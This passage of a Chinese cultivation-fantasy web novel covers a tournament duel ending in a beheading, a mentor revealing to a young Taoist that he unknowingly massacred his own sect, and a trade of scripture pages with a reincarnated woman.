只见一条墨色的巨龙咆哮着与一朵异色的火莲相撞,而後平地间有一声如惊雷炸响一般,令人忍不住的屏蔽五感。
尘烟散去,林炎嘴角有淡淡血迹,而他的脚下,墨渊阁弟子玄机躺在血泊之中,万分狼狈。
林炎高举重剑,有些疲惫的脸上显露出笑意。
“墨渊阁四处劫掠,以势压人,养出的就是你这般废物?”
他笑了笑,重剑以举火燎天之势抬起,而後猛的落下。
“竖子安敢!”
眼见林炎竟然真的起了杀意,要将墨渊阁天骄斩落於擂台之上,墨渊阁阁主猛的起身,虚空按下一掌。
只见滔天威势的巨掌自九天而落,带着无与伦比的恐怖威压,好像要将世间的一切都堙灭一般。
林炎抬头看向那拍下的巨掌,心中并未有丝毫的畏惧。
“老师。”
他自顾自的念叨一句。
“在的。”
心海之中有人与之回应。
只见得林炎身上气息暴涨,一瞬间竟攀升到上阳境界。
只是还未待得其有何行动,便有一道身影恍然出现在其身前。
来人稍一拂袖,便将那滔天威势消散而去。
“夫子?!”
林炎一惊,身上的气息一瞬间又恢复原状。
第五十三章 紫府修士
陆尘转头,对林炎点头一笑。
他刚才已经感知到林炎身上的气息变化,只是若在此时便暴露,於其而言倒有些为时过早。
再者陆尘身为这场演武的主持之人,自然也不允许这些阁主长老们干预场上比试。
“越界了,下不为例。”
陆尘看向那墨渊阁阁主说道。
“莫以为你背靠冷月宫之人便能如此与老夫说话,说到底,你不过是个紫府修士,若不是给冷月宫以及皇室面子,老夫一只手便能镇杀一百个你。”
墨渊阁阁主见门下最为顶尖的天骄之辈险些丧命,当下也顾不得其他,面色阴沉而道。
赵栀韵刚想说些什麽,却见陆尘向其摇了摇头,她这才收敛其眸子里的寒意。
“何不随我上天外一战?”
陆尘未作过多的口舌之争,就这般随性的说道。
“夫子……”
林炎小声唤了一句,对陆尘有些担忧。
陆尘稍稍摆手,示意其无需担心。
“好胆量,那你便随老夫上来。”
“还有你这林姓的小孽畜,若玄机今日死於此,不仅是你,你林氏全族皆要给他陪葬。”
墨渊阁阁主冷笑而道,身影便若惊鸿一般急掠而出,向天外而去。
陆尘脚步一点,亦是向天外之处而去。
所谓天外,倒也并非是苍天之外,只是极高之处,两厢交手,也并不未影响到他人。
境界越高的修士,越是顾忌冥冥中的所谓天道。
而高境界的修士若於凡俗世间交手,动则神州陆沉,要波及不知多少生灵,冥冥之中亦是会被天道所责罚,乃至於莫名遭天劫而身死道消。
“你放手去做便是,演武台上,本就是生死自负,以往他们墨渊阁也没少在此处折辱他宗天骄。”
赵栀韵开口而言,不再给墨渊阁任何脸面。
而墨渊阁诸位长老脸色阴沉,但在这位大离第一人面前,也不敢去多说些什麽。
“得勒。”
林炎露出笑意,丝毫不管脚下那墨渊阁弟子的拚死哀求,一剑极为乾脆利落的挥下。
鲜血在一瞬之间如泉柱一般喷涌而出,那颗头颅缓缓滚落,瞳孔仍是瞪得极大。
场下鸦雀无声,原本还恨不得生吞活剥林炎的墨渊阁弟子们,此刻眼中已经满是恐惧,不敢再看那少年脸上的森然笑意。
那可是玄机啊!
天骄榜当之无愧第一人,可在林炎手中,不仅惨败,更是直接身死道消,没有半点抵抗之力。
“此子断不可留,必须在他㣉百朝大战前镇杀。”
墨渊阁的几位长老面上虽彼此无言,但却暗中发声而道,眸子里已经满是杀意。
而就在此时,九天之上忽地有一道身影如断了线的风筝一般直坠而下。
几位长老这才面露笑意,稍稍觉得心情好了些。
但很快,他们嘴角的笑意便是僵住。
那自九天而落,猛的砸在地上的狼狈身影并不是他们预料之中的陆尘。
而是他们的阁主。
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墨渊阁阁主自血泊之中站起身来,看着眼前那面色带笑的青衫夫子,眼中已经满是忌惮。
那一剑挥出时,自己甚至感受到一丝死亡气息。
这很难想象,太阴境三层的自己竟然会从一名紫府修士身上感受到死亡气息。
“前辈还真是照顾人,如此留手,倒是晚辈下手不知轻重了。”
陆尘笑眯眯的说道。
墨渊阁阁主冷哼一声,并未说些什麽,只是当看到那擂台之上滚落的人头时,死死的盯着林炎,眼中杀意毕露,再未隐藏分毫。
林炎张了张嘴,虽未出声,但墨渊阁阁主亦是从其嘴型看的出来他说了什麽
“待我从百朝大战回来,第一个杀的便是你。”
听到少年这话,一向视少年为蝼蚁的墨渊阁阁主竟然真的感受到一股刺骨的寒意,令其万分不适。
他强忍住心中怒火,也未再做什麽口舌之争,当下回到云端之中,屏气凝神。
“小畜生,你别想活着入百朝大战之中。”
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墨渊阁阁主心中暗道。
他知晓,如林炎这般天纵之才,若其真的踏入百朝大战之中,那只怕真的会如潜龙离渊,就此扶摇而上九万里,再不是自己可随意踩死的蝼蚁。
演武台上,斩杀玄机的林炎浑身是血,场上竟无一人敢上前攻擂。
出乎意料的,林炎竟是直接走下擂台。
场下弟子皆是万分惊讶,一时间不懂他要做什麽。
只见林炎拖着那把重剑,缓缓的到了另一处擂台之上,而那擂主亦是一位墨渊阁弟子。
“滚下去,且不许再上任何一个擂台,不然我杀了你。”
林炎那沾染着血迹的脸依旧是笑着,但在对面那位墨渊阁弟子看来,却好似是恶鬼一般
恐怖。
“小畜生,别太过分!”
墨渊阁阁主以及诸位长老皆是站起身来,死死的盯着林炎,杀意再也按耐不住的宣泄而出。
而擂台上那位墨渊阁弟子竟是有些身子发软,颤颤巍巍的走下台去。
场下弟子哗然一片,皆是带着玩味笑意的看向墨渊阁众人。
墨渊阁向来行事霸道,如今被一个无门无派的少年如此折辱,自然是令众人觉得无比的畅快。
“赵安冉,上来与我一战。”
林炎擦了擦嘴角鲜血,又冲皇室众人所在之处喊道。
只见人群之中走出位娇滴滴衣着华贵的女子,正是皇室小公主,赵安冉。
她脸色苍白,有些犹豫的看向赵栀韵,见赵栀韵点头,这才缓缓的向擂台而去。
“我打不过你。”
少女站上台,直截了当的说道。
“但我并不觉得我当初做错了什麽,你我本就没有见过,何必因一纸婚约绑在一起,哪怕你灵气未倒退,我也会找个别的理由退婚。”
少女强忍着惧意,脸色苍白说道。
“那你可以与我说的,而不是直接派人来退婚,在你看来没做错什麽,可我林氏一族因此事大受打击,族中不少人流离失所,你又怎知。”
林炎冷声而语,并未因少女所说有什麽怜惜之意。
“我无话可说,要杀要剐,悉听尊便。”
少女咬着牙,闭上眼睛。
第五十四章 血煞之气
有风忽地在少女耳边吹过。
少女知道,那是重剑斩落所带起的风。
她本就紧闭的眼睛闭的更深,紧咬着牙,面色有些苍白。
只是出乎其意料的,预想之中的攻势并未袭来。
少女睁开眼,只见自己的一缕发丝在半空之中飘零,如枯叶一般落下。
而那林炎已经盘腿坐下,闭目养神,并未再说什麽话。
少女神情复杂,在原地愣神良久后,自觉的走下这演武擂台。
场中一片唏嘘,五座擂台之上,段凌云以及林炎的擂台皆无人再攻擂。
一个是威势过於吓人,出手就是摧枯拉朽之势。
另一个则是真杀人啊。
要知道那位天骄可是墨渊阁的心头肉,可林炎依旧是眼都没眨一下,直接将人头斩落。
这般杀神,场下众弟子自然不会上杆子去犯着。
场下,小道士犹犹豫豫的,在选自己该去哪座擂台好。
白鹿书院,听雨楼,青鸟书院,紫狮书院,青鸟书院。
如今五座擂台之上,竟然让青鸟书院拔得头筹,独占两座擂台。
而原本排名第一的墨渊阁,却是一死一退场,下场极为狼狈。
“那就去青鸟书院那座吧。”
小道士自顾自的说道。
其实他知道自己没那个本事能攻下擂台,但就像那位夫子所说,自己所站立之地,便已是流云阁,而流云阁身为三院四阁之一,总不能一场都不打吧。
他站起身,却见忽地有人拍了拍自己。
小道士转头回看,只见青衫夫子不知何时已经出现在了自己身旁。
“夫子?”
他对眼前这位夫子还是有不小的好感的,毕竟当众人都在质问自己时,只有这位夫子与大离女帝愿意相信自己。
“想要去攻擂了?”
陆尘问道。
小道士点了点头。
“去吧。”
陆尘又拍了拍小道士的肩,隐约间,好似有什麽光点在他那轻拍的手掌间涌动。
小道士倒是并未感受到什麽异常,犹豫着选了一座青鸟书院的擂台,缓缓向前而去。
陆尘则是眯起眼睛,有些不知道说什麽的看着武道天眼下小道士的命格。
【姓名:张不染】
【年龄:十六岁】
【境界:紫府中期】
【命格:紫金色——一方至尊】
【生平:无父无母的弃婴,被流云阁长老带回宗门后,便在宗门之中生养,自幼心性纯良,从未有过恶行,然其天负凶煞原气,爆发时如大妖横行,折煞万物,其父母亦因此而亡,在其年十六时,凶煞之气迸发,宗门一宗皆死於其手,张不染也因此吸收煞气,一步踏㣉紫府,只是其灵气封存,於外不显。
然凶煞之气褪去后,张不染依旧一身不染,以至於其醒时并不知情,立誓要找出真凶,报师门被屠之仇。
后其奋发苦修,因其煞气加身,每次煞气发作杀人之时,境界便会莫名大涨,直至张不染㣉至尊境界,受魔道相邀,这才知晓自己身负煞气,亦是知晓当年灭宗惨案的真相。
哪怕至尊强䭾道心如玄铁,亦是在此刻猛然崩塌,自行散去一身修为,身死道消。】
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【近期境遇:为请求大人物们调查流云阁覆灭真相,前往大离演武之处。】
看着张不染生平的那数行小字,陆尘唏嘘不已。
一辈子的执念到最後是这麽一个真相,以至於至尊强䭾亦是道心破碎。
他叹了口气,又抬头看向擂台之处。
此时小道士被那青鸟阁的弟子打的狼狈不堪,却依旧坚持赖在台上,不愿就此离去。
青鸟阁弟子则是被小道士拖得有些不耐烦,当下施展起一门地阶下品的术法,不再有任何留手。
只是下一刻,那尘烟弥漫的擂台上倒飞而出的身影并非是小道士,而是那青鸟阁弟子。
“紫府中期?”
青鸟阁弟子倒在血泊之中,艰难站起身来,有些不可置信的看着那场上的小道士。
小道士亦是满头雾水,看着自己周遭的紫气万分不解。
“我㣉紫府了?”
他属实不明白发生了什麽。
擂台下,陆尘神情复杂,将宗门屠尽之後,张不染便依靠那些血煞之气一步到了紫府,只是不知为何,这部分灵气并未展现出来,而是莫名的封存在
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心海之中。
想来也是那煞气有稍许的自我意识,知晓若这如海般的灵气一瞬融㣉,小道士的身体或许会承受不住。
而陆尘刚才拍了拍小道士的肩,以混沌气牵引,这才使小道士心海中的那部分灵气融㣉体内。
在小道士成功攻擂之後,又接连有其他书院的天骄上前攻擂,而小道士虽身负紫府修为,但却并不适应,一招一式间皆是破绽百出,最终还是在诸位天骄轮番上阵上败下阵
来。
跌落下擂台的小道士倒并未如何不开心,反倒是心情舒缓了许多。
挺好的,自己也守了好几轮的擂主,也不算给师门丢脸了。
小道士这般想到,又自顾自的露出笑来。
他小跑到陆尘身旁,安静的站着。
只有这位夫子和大离女帝坚定的告诉自己会彻查流云阁之事,所以小道士觉得只要自己好好待在他们身旁,总有一天会找到凶手的。
当然自己也要努力修炼才对。
虽然不知道为何会突然迈㣉紫府境界,但总归是件值得高兴的事,境界越高,就离自己报仇的目标更近了一步。
能屠杀宗门满门的家伙,一定是个很厉害的修士。
自己要努力,不能再像以前那般懒散修炼了。
想到此处,小道士的目光就变得越发坚毅起来,手中的拳头也不自觉的攥紧。
“你随我来,我有事与你说。”
天色稍晚后,陆尘忽地转头,向自己身旁的小道士说道。
小道士脸上露出惊喜之色,难道夫子是有什麽关於流云阁惨案的线索吗?
他当下如小鸡啄米一般的点头,十分乖巧的跟在陆尘身後。
二人并未动用什麽术法,就好像是寻常人漫步一般,自这座占地极广的广场缓缓离去,悠哉悠哉的到了一处人迹罕至的小巷子中。
小道士不明所以,但也并未说些什麽,而是十分期待的看着陆尘。
“知道为何我唤你出来吗?”
陆尘问道。
“是我流云阁之事吗?”
小道士满怀期待的问道。
陆尘点头,神情复杂。
小道士却是笑容灿烂,眸子里闪着炽热的火光。
第五十五章 执念
“若你大仇得报,又当如何?”
二人穿过小巷,步入长安大街上,街上行人行色匆匆,两旁各种叫卖声不绝於耳。
小道士稍稍一愣,神情有些恍惚。
对呀,自己报仇了之後呢?
他确实没有仔细想过,但之後再怎麽样也无所谓了吧,毕竟自己最想要做的事已经做完了,哪怕在大仇得报那一刻就立即身死,那也无憾了。
“我没有想过,倘若真能大仇得报的话,叫我当即身死,那也是愿意的。”
张不染抬起头说道。
他的眸子与他的名字一般,万分澄澈,不染一丝尘灰。
“你还记得我和你说过吗?你如何,流云阁便如何,你身在何处,流云阁便身在何处。”
陆尘停在桥头,看向张不染说道。
张不染眸子一亮,对,除开报仇外,自己还要将流云阁发扬光大,这样才能告慰师门的大家吧。
“我知道了夫子,我一定会将流云阁发扬光大的!”
张不染郑重说道。
“当真?”
陆尘不信的问道。
“当真。”
小道士再度点头,神情无比郑重。
流云阁里的大家都是那麽的好,既然自己莫名其妙的活了下来,那就应该替大家把流云阁传下来才对。
这般想着,他心中悲伤的情绪便又淡了些。
悟已往之不谏,知来者之可追。
这是师父常说的话,自己当时总觉得唠叨啰嗦,可如今却觉得世上再没有比这更直白的道理了。
“即便你所求不过虚妄,也会吗?”
陆尘犹豫片刻后,眉头紧皱的说道。
小道士又是一愣,并不明白陆尘在说些什麽。
“你有想过为何师门上下,就你一人活了下来吗?”
陆尘话锋一转,又问道。
“想过,我也不知道为什麽。”
说到此处,小道士又有些伤心起来,但很快的,那伤心的情绪就被掩埋。
他原本还觉得自己要是和大家一起死了就好了,就不会那麽忧虑那麽痛苦了。
但小道士现在不这麽觉得。
自己活下来很好,可以努力修行,直到有朝一日找到真凶,可以把流云阁发扬光大,让传承千年的门派再度矗立。
四阁之中,流云阁底蕴虽在末列,可在世俗百姓眼中,却属流云阁当属首位。
这并非是流云阁有什麽收买人心的手段,只是百姓心中自有一杆秤,知道流云阁那些仙师们不会高高在上,而是会真真正正的把自己当人看。
小道士觉得这样的流云阁很好,理应在这个世界上有一席之地。
“你不仅活了下来,甚至於这场灭门之战时,你甚至都未曾惊醒?”
陆尘又道。
小道士点了点头,忽地又有些委屈。
难道夫子也不相信自己吗?
可自己说的确实是实话。
“你是不是觉得我不相信你?”
陆尘问道。
小道士忽地一愣,旋即又点了点头。
“我不仅没怀疑你,而且很信你说的话。”
陆尘道。
小道士猛的一抬头,见到夫子那温和目光,鼻头忽地一酸。
“所以我从你所描述的场景以及我所学的望气之术下,已经对流云阁一事有了定论。”
陆尘左扯右扯的铺垫了一大串话,终於点到了此处。
小道士看着陆尘,眸子里闪烁着炽热的火焰。
“流云阁之事,系你一人所为。”
陆尘顿了顿,神情复杂的说道。
小道士仍旧看着陆尘,像是没听懂这句话一样。
“杀死他们的不是别人,是你。”
陆尘换了个更直白的说法。
小道士如遭雷击,呆愣愣的站在原地,像块木头一样。
“我以望气术窥见你体内藏有一股血煞之气,此气迸发之时,你便会被煞气附身,失去神智,只知杀戮。”
陆尘叹了口气,缓缓说道。
“知道你为什麽突然踏㣉紫府境界吗?正是因为血煞之气迸发,你大杀一场,吸收了宗门上下的血煞之气,这才一步迈㣉紫府境界。”
他又接着说道,并未有所隐瞒。
而小道士依旧呆愣在
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原地,像根木头一样。
良久后,他的脸上才再有了神色变幻。
“夫子在骗我对吗?”
张不染看向陆尘,嘴角洋溢着苦笑。
陆尘摇了摇头。
“怎麽可能……怎麽可能……”
小道士喃喃自语,失魂落魄。
陆尘并未再说什麽,就这般看着他。
“夫子当真没有骗我?”
他抬起头问道,此时此刻,已经是满面泪痕。
“并未骗你,你并不是愚钝之人,应该也知晓,既然满门被灭,又何苦留你一人。”
陆尘诚挚说道。
“那请夫子杀了我。”
小道士用道袍袖子随手擦了擦脸上泪痕,而後无比坚毅的对陆尘说道。
“我相信夫
子没有骗我,若我身上真有这血煞之气,来日若是迸发,那还会死更多的人,既然如此,倒不如死了的好。”
小道士说完便闭上眼,等待着死亡的降临。
“我不杀你,我有法子可以控制住你体内煞气。”
陆尘摇头说道。
小道士却是求死之心万分坚定。
“若夫子不杀我,我也会寻个机会自尽,师门上下皆因我而死,我不可能有脸活在世上。”
小道士睁开眼,也不再强求陆尘杀了自己,当下向陆尘行了一道门之礼,便欲转身离去。
“你若死了,天底下便再没了流云阁这一门派。”
陆尘冲着小道士的背影说道。
张不染停下脚步,回头看向陆尘,面色万分的痛苦。
他再也抑制不住,当下无声痛哭起来,在桥边忍不住的呕吐。
那些尸山血海的画面不断的在他脑海之中重复,好似一把刀在一遍又一遍的雕刻着壁画,直到那些壁画被风吹千年也丝毫不褪颜色。
“夫子,我想死,我不想活啊……”
他忽地大喊一句,惊了不少过路之人。
小道士蹲在河畔,双手捂面,河中有波纹荡起,一圈又一圈向外而散。
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第五十六章 隐秘
“是有些时候,活着要比死了更难,活下去,也要比去死更需要所谓的勇气。”
看着河畔掩面而泣的少年,陆尘幽幽而语。
“我并不想和你说什麽大道理,那些东西你想必自己也能意识到。”
陆尘又道。
“我想与你说的很简单,活下去,让流云阁之名在这天地间响彻。”
说完这句话后,陆尘便并未再说些什麽。
既然武道天眼都说少年心性纯良又天生聪慧,很多道理,其实自己一点便通,无需再多说些什麽
小道士唯一不能接受的,只怕是那如山岳般压的人喘不过气的事实罢了。
毕竟无论如何,确实是他亲手杀了满门之人,而每当回忆起那画面时,心也会忍不住的发痛。
小道士蹲在河边良久,直到天已经完全暗了下来,才腿脚发麻的站起身来。
他满脸疲惫,失魂落魄的走到桥上。
“随我来吧,传你压制血煞之气之法。”
陆尘对於小道士的状态倒并不意外,总不能指望人家听自己随便提点两句就满腔热血的说要去建设新的流云阁吧。
那是不可能的。
“好,多谢夫子了。”
小道士说了一句,声音已经哑然。
陆尘暗自叹了口气,而後稍一拂袖,带着小道士化作一道惊鸿直飞,落在了一处山峰峰顶之处。
“我所传你之法,名为《太上开天经》,共有六篇,分别为锻体丶凝气丶道台丶紫府丶上阳丶太阴六篇,修行后,自可压制你体内煞气。”
山峰之处,陆尘看向张不染说道。
他手里的太上开天经其实有九篇,只不过前六篇圣地之中多有流传,而神游,封侯,封王三篇则是苏月仙自己在腥风血雨中搜寻到的,陆尘本就是承蒙其所授,自然无权将此三篇交於张不染。
至於前六篇,圣地之间多有流传,倒并不算得什麽。
“太上开天经?”
张不染愣了愣,总觉得自己好像在何处听过这话。
“对了,我流云阁祖师堂有一页经书,好像也唤做太上开天经,只是自流云阁立派千年以来,未有人能参悟,而且保存的极为隐秘,我也是在师父醉酒时才听其说过。”
他思索片刻后说道。
陆尘稍稍一愣,一时间竟没缓过神来。
“夫子需要吗?我带夫子去吧,否则夫子大恩,不染也无以为报。”
小道士看着陆尘,眼神诚挚说道。
陆尘笑了笑。
“无妨,你先将锻体篇入门,而後再去看看。”
陆尘说罢,便稍一拂袖,将那六篇太上开天经映照而出。
只见金色的小字漂浮於张不染的眼前,繁杂而又无比晦涩。
“屏气凝神,闭目冥想。”
陆尘又道。
张不染既然有紫金命格之资,自然无需担心他参悟不了这太上开天经。
而张不染在听到陆尘所言后,也极为听话的收敛心神,闭目冥想起来。
陆尘站在一旁,百无聊赖的看着天边明月。
《太上开天经》共有十五篇,陆尘也不知晓这流云阁所奉的那一页是哪一篇,但倘若是自己没有的那几篇,那属实是捡到西瓜了,哪怕没有系统给予的奖励,也不枉自己这般大费周章,苦口婆心。
良久后,张不染才睁开眸子,周身混沌之气缠绕,犹如天地初开的生灵一般圣洁。
他眸子里那隐藏极深的一抹血色也是悄然消散,澄澈的犹如山间溪水。
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【夫子之责行使完毕】
【恭喜宿主获得以下奖励】
【一:三百年紫府修为】
【二:天阶灵器——残剑血煞】
【三:秘术——天逆血煞】
机械声在陆尘的脑海之中兀自响起,而後便有数道光源在其心海之中悄然浮现。
“此经世之罕见,非到生死时刻,切莫暴露身上混沌之气,不然会很麻烦。”
陆尘又叮嘱道。
如今张不染毕竟是孤身一人,并非是什麽圣地天骄,如真暴露了太上开天经的存在,指不定会被多少人追杀,又引得多少腥风血雨。
张不染认真点头。
“你且在此参悟,我自己去流云阁走一趟。”
陆尘想了想又道。
让少年再度重返那曾流淌着无数鲜血的地
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方,他属实是於心不忍。
触景生情,不外如是。
“没事的夫子,正好我也想回宗门见见大家了。”
少年笑着说道,眼中泪光闪烁。
…………
白鹿书院,外院,木竹屋前。
天色已晚,书院的弟子长老们早已歇息,只有零星的几位执事仍打着锣鼓。
静谧夜色下,忽地有一道身影悄然出现在一栋许久未有人住的木竹屋前。
那人身着一身玄色衣裳,看样式极为古
朴厚重,好似是上千年前的制式一般。
照理来说,外人在夜间入书院,定会引得大阵嗡鸣,但此人忽地出现在此,却并未引发任何异动,就好似其并未存在於天地间一般。
“就是这吗?”
来人自顾自的呢喃一句,推开木竹屋的门,径直入内。
屋内的布置极为简陋,仅有一桌一椅,以及散落在地的几幅书画。
那人捡起书画,眉头紧锁,并不解画中之意。
只见那画上有一人怀中抱鱼,面色带笑的站在课堂上。
画上提着小字,摸鱼一时爽,一直摸鱼一直爽。
来人看着这幅画,百思不得其解。
“难不成那条鱼是什麽禁忌法宝?”
他不禁自顾自的发问道。
带着这般疑惑,他又将剩馀的几张书画一一打开,结果每一幅画都令他难以理解其中奥妙,只觉得玄之又玄。
“不愧是天命所嘉之人,哪怕气运有失,一书一画也有此玄机。”
那人感叹一声,将画卷一一合拢,稍一拂袖,将之尽收入袖里乾坤之中。
“本座来的果然没错,若放任其发展下去,只怕真会对小姐有威胁。”
想到此处,他又觉得自己千里迢迢追踪禁制来到此处,是个极为正确的选择。
数月前,昔年古槐至尊在那幼童体内所种下的禁制消失,令得族中之人大惊,以为那幼童已经死去。
最後是小姐淡淡说了句,他没死,众人这才放下心来。
“我有预感,用不了多久,我与他就会再见的。”
多年过去,已经出落得国色天香的女子幽幽而语,目光深邃如井。
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第五十七章 地府
大离,流云阁。
流云阁坐落於深山之中,且并未像其他宗派一般盘踞着一整片的山脉。
流云阁所立之地唯有一峰,名为流云峰,流云峰高耸入云,常人矗立於山顶之处,仿若置身流云之间,故而得名流云峰。
陆尘与张不染二人从山脚下缓步而行,并未动用什麽术法,就那麽一步一台阶的往山顶而去。
千阶台阶之上,竟每隔数十步便有如鸡蛋又或䭾是鸡鸭鱼肉等物件摆放着。
“知晓流云阁遭劫后,附近的百姓们都自发的来此上香上供。”
张不染看着两侧的物件,心又有些发痛。
陆尘哑然,也不知道该说些什麽。
世事无常,并非就是善有善报,恶有恶报。
流云阁宗门上下皆行善积德,结果一宗横死,墨渊阁横行霸道,却在三院四阁之中高居首位。
对於陆尘而言,更愿去行善事并非是他有多心善,只是陆尘觉得
万事有因必有果。
多结善事得善因,总好过多行恶事得恶因。
虽有时善因会结恶果,恶果会得善因,但天理循环,总归是难逃其中。
登上山顶入了阁内,只见有两人袒露着臂膀躺在神像前的蒲团之上,二人周遭是一些残渣碎果,显然是偷吃了不少祭品。
张不染颇为无奈的冲陆尘一笑,但也并未打扰这两人,领着陆尘径直往祖师堂而去。
“仙师饶命,仙师饶命!小的们实在是饿的受不了了,这才会在此造孽。”
就在二人掠过时,这躺在地上的两人还是被惊醒了,他们望着张不染身上的道袍,赶忙跪下磕头,不住的喊着饶命。
张不染摇了摇头,并未怪罪他们,流云阁行事一心向善,这些祭品与其在此发烂发臭,倒不如能帮着别人。
“可以的话,你下山把吃不饱饭的人也都带上来吧,我想师父他们在天上也会乐意见着的。”
张不染说道。
“多谢仙师大恩大德!”
那两人见张不染并未有怪罪之意,赶忙又磕了几个响头,而後又慌忙逃窜。
只是到了门槛之处时,二人好似想到了什麽,又回过头来说道:“对了,仙师们还请小心,我见着这阁中还有人,似乎也是个神仙,不过不是流云阁的神仙,没穿您儿这身衣服。”
似乎是感激张不染未曾计较的恩情,那人东张西望后小心翼翼的这般说道。
陆尘眸子微眯,若此人所言属实的话,自己竟然并未察觉到有修士气息,想来境界并不会低。
不过来人想必早已察觉外边这偷吃祭品的二人,但并未有何举动,想必并非什麽雁过拔毛兽走留皮的乖戾之人
“跟紧我,若里间真有修士,只怕位阶不低。”
他眉头微皱道。
张不染点了点头,紧跟着陆尘,向祖师堂而去。
穿过亭台小道,便到了祖师堂处,陆尘推门而入,只见祖师堂的牌位下,有位黄衣女子盘腿而坐,闭目冥想,而她的身前,漂浮着一张金色纸片,铭刻着繁杂而又晦涩的符文。
陆尘的目光却并未落在那经书上,而是落在女子身上,久久不能平静。
【姓名:黄亦瑶】
【年龄:二十六】
【境界:神游一重】
【命格:无相——气运不定】
【生平:转世轮回之人,在地府本该饮孟婆汤时,地府遭莫名之劫,万鬼俱灭,女子趁此劫逃生,携地府至宝转轮冥灯,入六道之人道,为天地异数所在,气运不定,命格不显,转生後为圣地之人,隐世不出,不显於世,却仍被昔年入侵地府之势力察觉,后遭昔年入地府之势力截杀,所在圣地覆灭,一人流亡於五域四海之间,生死难测】
【近期遭遇:在古籍中得知《太上开天经》线索,为寻《太上开天经》出圣地,一路追寻到流云阁】
“无相?”
陆尘有些不敢相信自己的眼睛,这个命格,自自己得到金手指以来,便从未见过。
无相即所谓命格不定,或可如潜龙离渊,腾飞而上,又可面临大凶之兆,死
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无葬身之地。
而女子的生平描述里,既然被能搅动地府,覆灭圣地的超级势力追杀,理应是大凶之兆才对,可武道天眼的判断依旧是气运不定,并不认为这是个死劫。
“头好疼,感觉要长脑子了。”
陆尘忽地有些头疼,眼前女子的生平信息量属实太大,真要传出外界,恐怕真能引得神州陆沉,一域之地皆是化作腥风血雨。
“还当真有地府这个说法?”
世间有天丶地丶人三界之分的说法,天即天界,乃天兵天将,天庭众仙所在之处,地乃冥府,为万鬼栖息之所,人即人间界,五域四海,浩瀚无比。
陆尘原以为这只不过是民间传说,毕竟自己修行这麽多年,也并未听这所谓的天界与冥界。
但如今看来,虽不知天界是否存在,但这冥界地府,却是真真实实的存在於世,执掌着天地众生轮回。
陆尘有些想象不到,能够执掌天地众生轮回的冥府,竟然还会有势力敢对其动手?
他摇了
摇头,将这些杂念清除,此事牵扯恐怕极大,并非是自己如今需要思考之事,若再细想下去,免不得有杞人忧天之嫌。
而祖师堂下,那参悟太上开天经的女子也缓缓抬眸,见到陆尘二人,眸子里有些许的惊讶之色。
“你是这宗门传人?”
她看向张不染,顿了顿问道。
张不染点了点头,并未有所隐瞒。
他并未从女子身上感受到什麽敌意,相反感觉女子目光如山间石溪般澄澈,令人万分安心。
“此件法宝赠你,虽比不得我借阅经书所悟,但外出匆忙,身上没有其他物件可赠。”
黄亦瑶玉手一挥,便有一把骨伞出现在其手中。
陆尘眼尖,知晓其是件天阶灵宝,若放在这些王朝皇朝之内,少不得引起一番腥风血雨,牵连亿万生灵,只是在女子手中,却是随意送出,并且还觉得有所亏欠。
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第五十八章 无相
张不染虽不知这法宝位阶,但见其流光溢彩,也知晓其定是极为不凡之物,当下连忙摆手,并不敢受。
女子稍稍皱了皱眉。
“若你觉得不够,可随我回太玄圣地一趟。”
她声音微冷,好似有一丝寒意的风自耳边吹过。
“前辈误会了,我不是嫌少,而是愧受此物。”
张不染见女子误会自己,当下有些焦急的解释道。
他话还未说完,却见陆尘给自己使了个眼色,张不染稍稍一愣,而後微颤着手接过那凭空漂浮着的骨伞。
“多谢前辈了。”
他脸色诚恳说道。
黄亦瑶微微点头,而後把目光看向陆尘。
“阁下也是为此经而来?”
女子红唇轻启而道。
她的眉眼如刀,有股秋风扫落叶的萧瑟凌厉之意。
陆尘点了点头,并未有所隐瞒。
“此页经书是哪篇?”
他顿了顿问道。
“《真我篇》,此非我如今可参悟,故而我先前冥想,也只是将此经书铭刻在心海而已。”
黄亦瑶也未有所隐瞒,坦诚说道。
其实她并非是什麽和善之人,只是自己先前在冥想悟道之时,这二人在一旁安静看着,并未有所异动,黄亦瑶才愿意释放善意与二人交谈。
“你手上除前六境外,还有几篇?”
陆尘想了想又问道。
“《真一》篇。”
黄亦瑶不假思索的回道。
“我可用《神游篇》与你换。”
陆尘说道。
锻体,凝气,道台,紫府,上阳,太阴,神游,封侯,封王,真一,真我而後则是至尊境界,此即修行路上的前十二大境。
“行。”
黄亦瑶回答的十分乾脆利落,与她那如刀般的眉眼一般,一举一动都好似有疾风相伴。
她袖手一挥,便有一页金色纸张浮现在半空之中,陆尘亦是自心海中取出《神游篇》与之交换。
“除前六篇外,你应该不止这一篇吧。”
二人互相交换经书後,黄亦瑶又问道。
“我手中还有一篇,若你想要,可以出个合适的价格。”
陆尘思索片刻后说道。
《太上开天经》“原本”极为珍贵,他手上有的“原本”也仅有《神游》《封侯》《封王》三篇,皆是苏月仙在东域腥风血雨的那段时日所搜寻到的东西。
原本与原本交换,对双方都是不亏的买卖,但若要原本与他物交换,那属实可以开出个天价。
“你说。”
黄亦瑶对陆尘要价的行为非但并无厌恶,相反是眉心稍稍舒缓开来,嘴角有丝许笑意。
《太上开天经》这般天下奇经,本就是世之罕见之物,哪怕陆尘漫天开价,黄亦瑶也只会觉得是自己买不起,而不会觉得是陆尘乱开价。
“一枚七转隐命丹,一枚九转还魂丹,此外还要一株养魂之用的仙草。”
陆尘摆出三根手指,缓缓而语。
隐命丹是给秦长乐所备之物,九转还魂丹以及仙草则是给苏月仙所备之物。
二人一人为紫金之色,一人为金彩之色,皆是命格不凡。
尤其是苏月仙,不仅身具金彩命格,更是至尊境界,哪怕被镇压千年境界有所跌落,但相信以其天赋,只要神魂与肉身合一,很快便能恢复到巅峰状态。
届时自己身旁有一位至尊强者,也好应付天渊那边不知道会使出的什麽手段。
黄亦瑶皱了皱眉,陆尘说的这三件东西皆极为难寻,尤其是那哪怕九品药师都不一定能炼制而成的九转丹药。
她沉思良久,最终还是点了点头。
“成交。”
女子红唇轻启而道。
“有九转还魂丹后,便可先来找白鹿书院寻我,我可以先交给你经书。”
陆尘想了想又道。
无论如何,都是九转还魂丹重要的多,其馀二物倒并不着急。
“好,告辞。”
女子乾脆的点了点头,而後抱拳道了声告辞,便向门外而去。
“等等。”
临近门槛处时,陆尘又喊了一句。
“何事?”
黄亦瑶回过头,眉头微皱。
“切忌要隐去行踪,不然你我皆有杀身之祸。”
陆尘忽地这般说道,眸子里浮现出丝丝缕缕的雾气。
武道天眼大开,凝视着黄亦瑶头顶那没有任何色彩的气运。
黄亦瑶愣了愣,而後点头。
“多谢。”
她说完此句,身影便如长虹般掠去,顷刻间便消失不见。
